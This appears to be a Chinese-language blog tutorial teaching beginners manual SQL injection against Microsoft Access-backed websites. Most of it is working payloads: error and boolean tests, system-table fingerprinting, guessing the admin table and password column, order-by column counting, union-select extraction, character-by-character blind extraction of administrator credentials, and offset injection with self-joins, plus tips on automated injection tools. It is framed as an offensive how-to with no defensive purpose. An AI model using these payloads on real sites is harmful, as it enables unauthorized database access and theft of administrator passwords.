新手最先接触的就是手工注入,度过新手期后就会开始使用工具,等到达大神级别后会发现很多东西工具做不了,这个过程被称作返璞归真。
一.access数据库介绍
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。至于别的什么乱七八糟的我就不啰嗦了。不过必须要注意他的优点(缺陷)(手动滑稽)
二.access的注入的基本步骤
1.首先,在url后加一个" ’ "以此判断是否存在注入(原理就是通过报错看是否会把’带入查询)
2.and 1=1观察是否有错误,无错误则判断出存在注入漏洞
3.and 1=2错误说明带进去了,正确说明没带进去(有时候and会被过滤)
4.判断数据库类型(本来是应该用- -的,但是视觉效果不好,所以就用-了)
and exsits(select * from msysobjects)>0 -access数据库
and exsits(select * from sysobjects)>0 -sqlserver数据库
5.判断数据库里有什么表(大部分公司的表名都不会是那么简单的admin,。。。)
and exists(select * from admin)
6.判断字段,例如判断是否有password这个字段(大部分列名也不是password那么简单)
and exists(select password from admin)
7.判断字段长度,显示正常就是存在,不正常就是不存在,直到试出来为止,比如22正常,23报错就是22。
order by 20
order by 30
8.这里按照order by 5算吧(记得要让他报错),然后他会报错,比如在2和4上报错
and 1=2 union select 1,2,3,4,5 from admin
and 1=2 union select 1,admin,3,password,5 from admin
9.番外:判断账户密码长度
and (select len(admin) from admin)=5 -如果返回正常说明管理员账户长度为5
and (select len(password) from admin)=5 -猜解管理员密码的长度是否为5
10.番外2:判断管理员账号的第一个数据,通过判断ascii码来判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100 -返回正常说明大于100
and (select top 1 asc(mid(admin,2,1)) from admin)>100 -账户的第二个数据
and (select top 1 asc(mid(password,1,1)) from admin)>100 -密码第一个数据
三.到这里,就可以出新手区做做任务了,开始使用装备(工具)
在这里,我使用的是啊D注入工具(原理就是暴力破解)(接5.)
使用工具就很简单了,只要判断出数据库然后点一下检测就行了。当然,他不是万能的,有时候字典不行也弄不出来,这时候就要换一个了。。。
让我们来试一下明小子
one minite later…
many years later…
好吧,我也不知道为什么我打不开明小子(不要在意这些细节)。
总之几个工具多试一下,总有的字典比较高级,然后就试出来了(不过有的有防火墙,请求太频繁会被禁)
11.偏移注入(现在我们假设已经判断出表名了,但是猜不到列名,这时候用*挨个往前替换)
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
一直删到16返回正常值3和15
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
这里有一个公式:字段长度–最后的长度,就是22–16=6;然后10+6 2=22;4+6 3=22(记住就行了)**
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
大家可以结合这两条代码看一下那个公式,是不是发现了什么规律,只可意会不可言传(其实主要是我说不明白)
- 他出来的结果是表中那一列随机的一个值,不一定是名字